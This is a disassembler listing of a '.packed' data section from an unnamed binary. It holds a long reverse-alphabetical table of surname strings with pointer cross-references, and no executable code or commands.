aGillispie	db 'Gillispie',0        ; DATA XREF: .packed:0042DFECo
		align 4
aGill		db 'Gill',0             ; DATA XREF: .packed:0042DFE8o
		align 4
aGili		db 'Gili',0             ; DATA XREF: .packed:0042DFE4o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: .packed:0042DFE0o
aGibson		db 'Gibson',0           ; DATA XREF: .packed:0042DFDCo
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: .packed:0042DFD8o
aGhorai		db 'Ghorai',0           ; DATA XREF: .packed:0042DFD4o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: .packed:0042DFD0o
aGeorgi		db 'Georgi',0           ; DATA XREF: .packed:0042DFCCo
		align 4
aGemberling	db 'Gemberling',0       ; DATA XREF: .packed:0042DFC8o
		align 10h
aGeller		db 'Geller',0           ; DATA XREF: .packed:0042DFC4o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: .packed:0042DFC0o
aGarman		db 'Garman',0           ; DATA XREF: .packed:0042DFBCo
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: .packed:0042DFB8o
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: .packed:0042DFB4o
aGalwey		db 'Galwey',0           ; DATA XREF: .packed:0042DFB0o
		align 4
aGaleotti	db 'Galeotti',0         ; DATA XREF: .packed:0042DFACo
		align 10h
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: .packed:0042DFA8o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: .packed:0042DFA4o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: .packed:0042DFA0o
		align 10h
aFurth		db 'Furth',0            ; DATA XREF: .packed:0042DF9Co
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: .packed:0042DF98o
		align 10h
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: .packed:0042DF94o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: .packed:0042DF90o
		align 4
aFryberger	db 'Fryberger',0        ; DATA XREF: .packed:0042DF8Co
		align 10h
aFrowiss	db 'Frowiss',0          ; DATA XREF: .packed:0042DF88o
aFrisken	db 'Frisken',0          ; DATA XREF: .packed:0042DF84o
aFriedland	db 'Friedland',0        ; DATA XREF: .packed:0042DF80o
		align 4
aFried		db 'Fried',0            ; DATA XREF: .packed:0042DF7Co
		align 4
aFreundlich	db 'Freundlich',0       ; DATA XREF: .packed:0042DF78o
		align 10h
aFreid		db 'Freid',0            ; DATA XREF: .packed:0042DF74o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: .packed:0042DF70o
		align 4
aFranz		db 'Franz',0            ; DATA XREF: .packed:0042DF6Co
		align 10h
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: .packed:0042DF68o
		align 10h
aFrancisco	db 'Francisco',0        ; DATA XREF: .packed:0042DF64o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: .packed:0042DF60o
		align 4
aFossey		db 'Fossey',0           ; DATA XREF: .packed:0042DF5Co
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: .packed:0042DF58o
aFortes		db 'Fortes',0           ; DATA XREF: .packed:0042DF54o
		align 4
aForester	db 'Forester',0         ; DATA XREF: .packed:0042DF50o
		align 4
aFolks		db 'Folks',0            ; DATA XREF: .packed:0042DF4Co
		align 10h
aFlores		db 'Flores',0           ; DATA XREF: .packed:0042DF48o
		align 4
aFlier		db 'Flier',0            ; DATA XREF: .packed:0042DF44o
		align 10h
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: .packed:0042DF40o
aFisk		db 'Fisk',0             ; DATA XREF: .packed:0042DF3Co
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: .packed:0042DF38o
aFinnegan	db 'Finnegan',0         ; DATA XREF: .packed:0042DF34o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: .packed:0042DF30o
aFink		db 'Fink',0             ; DATA XREF: .packed:0042DF2Co
		align 4
aField		db 'Field',0            ; DATA XREF: .packed:0042DF28o
		align 4
aFido		db 'Fido',0             ; DATA XREF: .packed:0042DF24o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: .packed:0042DF20o
		align 4
aFerriell	db 'Ferriell',0         ; DATA XREF: .packed:0042DF1Co
		align 10h
aFerrante	db 'Ferrante',0         ; DATA XREF: .packed:0042DF18o
		align 4
aFernandes	db 'Fernandes',0        ; DATA XREF: .packed:0042DF14o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: .packed:0042DF10o
aFeldman	db 'Feldman',0          ; DATA XREF: .packed:0042DF0Co
aFejzo		db 'Fejzo',0            ; DATA XREF: .packed:0042DF08o
		align 10h
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: .packed:0042DF04o
		align 4
aFates		db 'Fates',0            ; DATA XREF: .packed:0042DF00o
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: .packed:0042DEFCo
		align 4
aFarren		db 'Farren',0           ; DATA XREF: .packed:0042DEF8o
		align 4
aFarone		db 'Farone',0           ; DATA XREF: .packed:0042DEF4o
		align 4
aFaris		db 'Faris',0            ; DATA XREF: .packed:0042DEF0o
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: .packed:0042DEECo
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: .packed:0042DEE8o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: .packed:0042DEE4o
		align 4
aFagan		db 'Fagan',0            ; DATA XREF: .packed:0042DEE0o
		align 4
aFabbris	db 'Fabbris',0          ; DATA XREF: .packed:0042DEDCo
aEverett	db 'Everett',0          ; DATA XREF: .packed:0042DED8o
aEuripides	db 'Euripides',0        ; DATA XREF: .packed:0042DED4o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: .packed:0042DED0o
		align 10h
aEstes		db 'Estes',0            ; DATA XREF: .packed:0042DECCo
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: .packed:0042DEC8o
		align 4
aErez		db 'Erez',0             ; DATA XREF: .packed:0042DEC4o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: .packed:0042DEC0o
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: .packed:0042DEBCo
		align 4
aErbach		db 'Erbach',0           ; DATA XREF: .packed:0042DEB8o
		align 4
aEppling	db 'Eppling',0          ; DATA XREF: .packed:0042DEB4o
aEnyeart	db 'Enyeart',0          ; DATA XREF: .packed:0042DEB0o
aEncinas	db 'Encinas',0          ; DATA XREF: .packed:0042DEACo
aElvis		db 'Elvis',0            ; DATA XREF: .packed:0042DEA8o
		align 4
aElmerick	db 'Elmerick',0         ; DATA XREF: .packed:0042DEA4o
		align 10h
aElmendorf	db 'Elmendorf',0        ; DATA XREF: .packed:0042DEA0o
		align 4
aEliasson	db 'Eliasson',0         ; DATA XREF: .packed:0042DE9Co
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: .packed:0042DE98o
aEdward		db 'Edward',0           ; DATA XREF: .packed:0042DE94o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: .packed:0042DE90o
		align 4
aEdley		db 'Edley',0            ; DATA XREF: .packed:0042DE8Co
		align 4
aEckel		db 'Eckel',0            ; DATA XREF: .packed:0042DE88o
		align 4
aEbeling	db 'Ebeling',0          ; DATA XREF: .packed:0042DE84o
aEardley	db 'Eardley',0          ; DATA XREF: .packed:0042DE80o
aDwyer		db 'Dwyer',0            ; DATA XREF: .packed:0042DE7Co
		align 4
aDussault	db 'Dussault',0         ; DATA XREF: .packed:0042DE78o
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: .packed:0042DE74o
aDuffin		db 'Duffin',0           ; DATA XREF: .packed:0042DE70o
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: .packed:0042DE6Co
aDrinker	db 'Drinker',0          ; DATA XREF: .packed:0042DE68o
aDowsland	db 'Dowsland',0         ; DATA XREF: .packed:0042DE64o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: .packed:0042DE60o
		align 4
aDoty		db 'Doty',0             ; DATA XREF: .packed:0042DE5Co
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: .packed:0042DE58o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: .packed:0042DE54o
		align 4
aDore		db 'Dore',0             ; DATA XREF: .packed:0042DE50o
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: .packed:0042DE4Co
		align 4
aDonner		db 'Donner',0           ; DATA XREF: .packed:0042DE48o
		align 4
aDonahue	db 'Donahue',0          ; DATA XREF: .packed:0042DE44o
aDoherty	db 'Doherty',0          ; DATA XREF: .packed:0042DE40o
aDockery	db 'Dockery',0          ; DATA XREF: .packed:0042DE3Co
aDirksen	db 'Dirksen',0          ; DATA XREF: .packed:0042DE38o
aDionysius	db 'Dionysius',0        ; DATA XREF: .packed:0042DE34o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: .packed:0042DE30o
		align 4
aDifronzo	db 'Difronzo',0         ; DATA XREF: .packed:0042DE2Co
		align 10h
aDifabio	db 'Difabio',0          ; DATA XREF: .packed:0042DE28o
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: .packed:0042DE24o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: .packed:0042DE20o
		align 4
aDFini		db 'D',27h,'fini',0     ; DATA XREF: .packed:0042DE1Co
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: .packed:0042DE18o
aDesombre	db 'Desombre',0         ; DATA XREF: .packed:0042DE14o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: .packed:0042DE10o
aDenham		db 'Denham',0           ; DATA XREF: .packed:0042DE0Co
		align 4
aDenault	db 'Denault',0          ; DATA XREF: .packed:0042DE08o
aDemusz		db 'Demusz',0           ; DATA XREF: .packed:0042DE04o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: .packed:0042DE00o
		align 4
aDeming		db 'Deming',0           ; DATA XREF: .packed:0042DDFCo
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: .packed:0042DDF8o
		align 4
aDelger		db 'Delger',0           ; DATA XREF: .packed:0042DDF4o
		align 10h
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: .packed:0042DDF0o
		align 10h
aDelattre	db 'Delattre',0         ; DATA XREF: .packed:0042DDECo
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: .packed:0042DDE8o
		align 4
aDees		db 'Dees',0             ; DATA XREF: .packed:0042DDE4o
		align 10h
aDebroff	db 'Debroff',0          ; DATA XREF: .packed:0042DDE0o
aDerousse	db 'deRousse',0         ; DATA XREF: .packed:0042DDDCo
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: .packed:0042DDD8o
		align 10h
aDelapena	db 'DeLaPena',0         ; DATA XREF: .packed:0042DDD4o
		align 4
aDegennaro	db 'DeGennaro',0        ; DATA XREF: .packed:0042DDD0o
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: .packed:0042DDCCo
aDavid		db 'David',0            ; DATA XREF: .packed:0042DDC8o
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: .packed:0042DDC4o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: .packed:0042DDC0o
		align 4
aDas		db 'Das',0              ; DATA XREF: .packed:0042DDBCo
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: .packed:0042DDB8o
aDapice		db 'Dapice',0           ; DATA XREF: .packed:0042DDB4o
		align 4
aDante		db 'Dante',0            ; DATA XREF: .packed:0042DDB0o
		align 4
aDanieli	db 'Danieli',0          ; DATA XREF: .packed:0042DDACo
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: .packed:0042DDA8o
aDaly		db 'Daly',0             ; DATA XREF: .packed:0042DDA4o
		align 4
aDaldalian	db 'Daldalian',0        ; DATA XREF: .packed:0042DDA0o
		align 10h
aDasilva	db 'daSilva',0          ; DATA XREF: .packed:0042DD9Co
aCyders		db 'Cyders',0           ; DATA XREF: .packed:0042DD98o
		align 10h
aCvek		db 'Cvek',0             ; DATA XREF: .packed:0042DD94o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: .packed:0042DD90o
		align 10h
aCurrier	db 'Currier',0          ; DATA XREF: .packed:0042DD8Co
aCui		db 'Cui',0              ; DATA XREF: .packed:0042DD88o
aCroxton	db 'Croxton',0          ; DATA XREF: .packed:0042DD84o
aCroxen		db 'Croxen',0           ; DATA XREF: .packed:0042DD80o
		align 4
aCroshaw	db 'Croshaw',0          ; DATA XREF: .packed:0042DD7Co
aCrocker	db 'Crocker',0          ; DATA XREF: .packed:0042DD78o
aCrawford	db 'Crawford',0         ; DATA XREF: .packed:0042DD74o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: .packed:0042DD70o
aCounter	db 'Counter',0          ; DATA XREF: .packed:0042DD6Co
aCosmides	db 'Cosmides',0         ; DATA XREF: .packed:0042DD68o
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: .packed:0042DD64o
aCorey		db 'Corey',0            ; DATA XREF: .packed:0042DD60o
		align 4
aConnors	db 'Connors',0          ; DATA XREF: .packed:0042DD5Co
aCondodina	db 'Condodina',0        ; DATA XREF: .packed:0042DD58o
		align 4
aConcino	db 'Concino',0          ; DATA XREF: .packed:0042DD54o
aComstock	db 'Comstock',0         ; DATA XREF: .packed:0042DD50o
		align 4
aCompton	db 'Compton',0          ; DATA XREF: .packed:0042DD48o
					; .packed:0042DD4Co
aCollis		db 'Collis',0           ; DATA XREF: .packed:0042DD44o
		align 4
aCollard	db 'Collard',0          ; DATA XREF: .packed:0042DD40o
aColella	db 'Colella',0          ; DATA XREF: .packed:0042DD3Co
aColdren	db 'Coldren',0          ; DATA XREF: .packed:0042DD38o
aCoito		db 'Coito',0            ; DATA XREF: .packed:0042DD34o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: .packed:0042DD30o
aClow		db 'Clow',0             ; DATA XREF: .packed:0042DD2Co
		align 4
aClifton	db 'Clifton',0          ; DATA XREF: .packed:0042DD28o
aClement	db 'Clement',0          ; DATA XREF: .packed:0042DD24o
aClark		db 'Clark',0            ; DATA XREF: .packed:0042DD20o
		align 4
aClancy		db 'Clancy',0           ; DATA XREF: .packed:0042DD1Co
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: .packed:0042DD18o
aCifarelli	db 'Cifarelli',0        ; DATA XREF: .packed:0042DD14o
		align 10h
aCicero		db 'Cicero',0           ; DATA XREF: .packed:0042DD10o
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: .packed:0042DD0Co
		align 4
aChurch		db 'Church',0           ; DATA XREF: .packed:0042DD08o
		align 4
aChupasko	db 'Chupasko',0         ; DATA XREF: .packed:0042DD04o
		align 4
aChu		db 'Chu',0              ; DATA XREF: .packed:0042DD00o
aChristopher	db 'Christopher',0      ; DATA XREF: .packed:0042DCFCo
aChristie	db 'Christie',0         ; DATA XREF: .packed:0042DCF8o
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: .packed:0042DCF4o
		align 10h
aChristian	db 'Christian',0        ; DATA XREF: .packed:0042DCF0o
		align 4
aChristenson	db 'Christenson',0      ; DATA XREF: .packed:0042DCECo
aChinman	db 'Chinman',0          ; DATA XREF: .packed:0042DCE8o
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: .packed:0042DCE4o
aChilds		db 'Childs',0           ; DATA XREF: .packed:0042DCE0o
		align 4
aChildress	db 'Childress',0        ; DATA XREF: .packed:0042DCDCo
		align 10h
aChien		db 'Chien',0            ; DATA XREF: .packed:0042DCD8o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: .packed:0042DCD4o
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: .packed:0042DCD0o
		align 10h
aCherry		db 'Cherry',0           ; DATA XREF: .packed:0042DCCCo
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: .packed:0042DCC8o
		align 10h
aCharles	db 'Charles',0          ; DATA XREF: .packed:0042DCC4o
aChapman	db 'Chapman',0          ; DATA XREF: .packed:0042DCC0o
aCerioli	db 'Cerioli',0          ; DATA XREF: .packed:0042DCBCo
aCeniceros	db 'Ceniceros',0        ; DATA XREF: .packed:0042DCB8o
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: .packed:0042DCB4o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: .packed:0042DCB0o
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: .packed:0042DCACo
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: .packed:0042DCA8o
		align 4
aCase		db 'Case',0             ; DATA XREF: .packed:0042DCA4o
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: .packed:0042DCA0o
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: .packed:0042DC9Co
		align 4
aCarper		db 'Carper',0           ; DATA XREF: .packed:0042DC98o
		align 10h
aCaroti		db 'Caroti',0           ; DATA XREF: .packed:0042DC94o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: .packed:0042DC90o
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: .packed:0042DC8Co
aCarlos		db 'Carlos',0           ; DATA XREF: .packed:0042DC88o
		align 4
aCarlin		db 'Carlin',0           ; DATA XREF: .packed:0042DC84o
		align 4
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: .packed:0042DC80o
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: .packed:0042DC7Co
aCapursi	db 'Capursi',0          ; DATA XREF: .packed:0042DC78o
aCappuccio	db 'Cappuccio',0        ; DATA XREF: .packed:0042DC74o
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: .packed:0042DC70o
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: .packed:0042DC6Co
		align 4
aCaperton	db 'Caperton',0         ; DATA XREF: .packed:0042DC68o
		align 10h
aCapanni	db 'Capanni',0          ; DATA XREF: .packed:0042DC64o
aCanley		db 'Canley',0           ; DATA XREF: .packed:0042DC60o
		align 10h
aCammilleri	db 'Cammilleri',0       ; DATA XREF: .packed:0042DC5Co
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: .packed:0042DC58o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: .packed:0042DC54o
		align 10h
aCage		db 'Cage',0             ; DATA XREF: .packed:0042DC50o
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: .packed:0042DC4Co
		align 10h
aByerly		db 'Byerly',0           ; DATA XREF: .packed:0042DC48o
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: .packed:0042DC44o
		align 10h
aBusetta	db 'Busetta',0          ; DATA XREF: .packed:0042DC40o
aBurridge	db 'Burridge',0         ; DATA XREF: .packed:0042DC3Co
		align 4
aBurke		db 'Burke',0            ; DATA XREF: .packed:0042DC38o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: .packed:0042DC34o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: .packed:0042DC30o
		align 4
aBunton		db 'Bunton',0           ; DATA XREF: .packed:0042DC2Co
		align 4
aBullard	db 'Bullard',0          ; DATA XREF: .packed:0042DC28o
aBudding	db 'Budding',0          ; DATA XREF: .packed:0042DC24o
aBuchan		db 'Buchan',0           ; DATA XREF: .packed:0042DC20o
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: .packed:0042DC1Co
aBrook		db 'Brook',0            ; DATA XREF: .packed:0042DC18o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: .packed:0042DC14o
		align 4
aBritz		db 'Britz',0            ; DATA XREF: .packed:0042DC10o
		align 4
aBrinton	db 'Brinton',0          ; DATA XREF: .packed:0042DC0Co
aBridges	db 'Bridges',0          ; DATA XREF: .packed:0042DC08o
aBridgeman	db 'Bridgeman',0        ; DATA XREF: .packed:0042DC04o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: .packed:0042DBFCo
					; .packed:0042DC00o
		align 10h
aBrennan	db 'Brennan',0          ; DATA XREF: .packed:0042DBF8o
aBrenan		db 'Brenan',0           ; DATA XREF: .packed:0042DBF4o
		align 10h
aBreed		db 'Breed',0            ; DATA XREF: .packed:0042DBF0o
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: .packed:0042DBECo
		align 10h
aBradach	db 'Bradach',0          ; DATA XREF: .packed:0042DBE8o
aBradac		db 'Bradac',0           ; DATA XREF: .packed:0042DBE4o
		align 10h
aBracalente	db 'Bracalente',0       ; DATA XREF: .packed:0042DBE0o
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: .packed:0042DBDCo
		align 4
aBoym		db 'Boym',0             ; DATA XREF: .packed:0042DBD8o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: .packed:0042DBD4o
aBoyes		db 'Boyes',0            ; DATA XREF: .packed:0042DBD0o
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: .packed:0042DBCCo
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: .packed:0042DBC8o
		align 10h
aBowers		db 'Bowers',0           ; DATA XREF: .packed:0042DBC4o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: .packed:0042DBC0o
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: .packed:0042DBBCo
aBoudin		db 'Boudin',0           ; DATA XREF: .packed:0042DBB8o
		align 4
aBotosh		db 'Botosh',0           ; DATA XREF: .packed:0042DBB4o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: .packed:0042DBB0o
aBossi		db 'Bossi',0            ; DATA XREF: .packed:0042DBACo
		align 4
aBorden		db 'Borden',0           ; DATA XREF: .packed:0042DBA8o
		align 4
aBorack		db 'Borack',0           ; DATA XREF: .packed:0042DBA4o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: .packed:0042DBA0o
		align 4
aBoone		db 'Boone',0            ; DATA XREF: .packed:0042DB9Co
		align 10h
aBookbinder	db 'Bookbinder',0       ; DATA XREF: .packed:0042DB98o
		align 4
aBook		db 'Book',0             ; DATA XREF: .packed:0042DB94o
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: .packed:0042DB90o
		align 10h
aBoniface	db 'Boniface',0         ; DATA XREF: .packed:0042DB8Co
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: .packed:0042DB88o
		align 4
aBoner		db 'Boner',0            ; DATA XREF: .packed:0042DB84o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: .packed:0042DB80o
aBollinger	db 'Bollinger',0        ; DATA XREF: .packed:0042DB7Co
		align 10h
aBolick		db 'Bolick',0           ; DATA XREF: .packed:0042DB78o
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: .packed:0042DB74o
		align 10h
aBlyth		db 'Blyth',0            ; DATA XREF: .packed:0042DB70o
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: .packed:0042DB6Co
aBloemhof	db 'Bloemhof',0         ; DATA XREF: .packed:0042DB68o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: .packed:0042DB64o
aBloch		db 'Bloch',0            ; DATA XREF: .packed:0042DB60o
		align 10h
aBlizard	db 'Blizard',0          ; DATA XREF: .packed:0042DB5Co
aBliss		db 'Bliss',0            ; DATA XREF: .packed:0042DB58o
		align 10h
aBlanke		db 'Blanke',0           ; DATA XREF: .packed:0042DB54o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: .packed:0042DB50o
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: .packed:0042DB4Co
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: .packed:0042DB48o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: .packed:0042DB44o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: .packed:0042DB40o
		align 4
aBisema		db 'Bisema',0           ; DATA XREF: .packed:0042DB3Co
		align 4
aBir		db 'Bir',0              ; DATA XREF: .packed:0042DB38o
aBinion		db 'Binion',0           ; DATA XREF: .packed:0042DB34o
		align 10h
aBickel		db 'Bickel',0           ; DATA XREF: .packed:0042DB30o
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: .packed:0042DB2Co
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: .packed:0042DB28o
aBetti		db 'Betti',0            ; DATA XREF: .packed:0042DB24o
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: .packed:0042DB20o
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: .packed:0042DB1Co
		align 10h
aBernassola	db 'Bernassola',0       ; DATA XREF: .packed:0042DB18o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: .packed:0042DB14o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: .packed:0042DB10o
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: .packed:0042DB0Co
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: .packed:0042DB08o
		align 10h
aBelloc		db 'Belloc',0           ; DATA XREF: .packed:0042DB04o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: .packed:0042DB00o
aBellhouse	db 'Bellhouse',0        ; DATA XREF: .packed:0042DAFCo
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: .packed:0042DAF8o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: .packed:0042DAF4o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: .packed:0042DAF0o
		align 10h
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: .packed:0042DAECo
		align 4
aBelanger	db 'Belanger',0         ; DATA XREF: .packed:0042DAE8o
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: .packed:0042DAE4o
aBedford	db 'Bedford',0          ; DATA XREF: .packed:0042DAE0o
aBeder		db 'Beder',0            ; DATA XREF: .packed:0042DADCo
		align 10h
aBeckman	db 'Beckman',0          ; DATA XREF: .packed:0042DAD8o
aBean		db 'Bean',0             ; DATA XREF: .packed:0042DAD4o
		align 10h
aBeal		db 'Beal',0             ; DATA XREF: .packed:0042DAD0o
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: .packed:0042DACCo
		align 10h
aBayo		db 'Bayo',0             ; DATA XREF: .packed:0042DAC8o
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: .packed:0042DAC4o
		align 10h
aBaumiller	db 'Baumiller',0        ; DATA XREF: .packed:0042DAC0o
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: .packed:0042DABCo
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: .packed:0042DAB8o
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: .packed:0042DAB4o
		align 10h
aBartoo		db 'Bartoo',0           ; DATA XREF: .packed:0042DAB0o
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: .packed:0042DAACo
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: .packed:0042DAA8o
aBarry		db 'Barry',0            ; DATA XREF: .packed:0042DAA4o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: .packed:0042DAA0o
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: .packed:0042DA9Co
aBarneson	db 'Barneson',0         ; DATA XREF: .packed:0042DA98o
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: .packed:0042DA94o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: .packed:0042DA90o
aBaranowska	db 'Baranowska',0       ; DATA XREF: .packed:0042DA8Co
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: .packed:0042DA88o
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: .packed:0042DA84o
aBarabesi	db 'Barabesi',0         ; DATA XREF: .packed:0042DA80o
		align 4
aBanta		db 'Banta',0            ; DATA XREF: .packed:0042DA7Co
		align 10h
aBaltz		db 'Baltz',0            ; DATA XREF: .packed:0042DA78o
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: .packed:0042DA74o
		align 10h
aBallatori	db 'Ballatori',0        ; DATA XREF: .packed:0042DA70o
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: .packed:0042DA6Co
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: .packed:0042DA68o
		align 10h
aBailar		db 'Bailar',0           ; DATA XREF: .packed:0042DA64o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: .packed:0042DA60o
aBaglivo	db 'Baglivo',0          ; DATA XREF: .packed:0042DA5Co
aBady		db 'Bady',0             ; DATA XREF: .packed:0042DA58o
		align 10h
aBackus		db 'Backus',0           ; DATA XREF: .packed:0042DA54o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: .packed:0042DA50o
		align 4
aAzima		db 'Azima',0            ; DATA XREF: .packed:0042DA4Co
		align 4
aAyling		db 'Ayling',0           ; DATA XREF: .packed:0042DA48o
		align 4
aAykroyd	db 'Aykroyd',0          ; DATA XREF: .packed:0042DA44o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: .packed:0042DA40o
aAxworthy	db 'Axworthy',0         ; DATA XREF: .packed:0042DA3Co
		align 10h
aAxelrod	db 'Axelrod',0          ; DATA XREF: .packed:0042DA38o
aAurelius	db 'Aurelius',0         ; DATA XREF: .packed:0042DA34o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: .packed:0042DA30o
		align 10h
aAtkins		db 'Atkins',0           ; DATA XREF: .packed:0042DA2Co
		align 4
aArky		db 'Arky',0             ; DATA XREF: .packed:0042DA28o
		align 10h
aArjas		db 'Arjas',0            ; DATA XREF: .packed:0042DA24o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: .packed:0042DA20o
		align 4
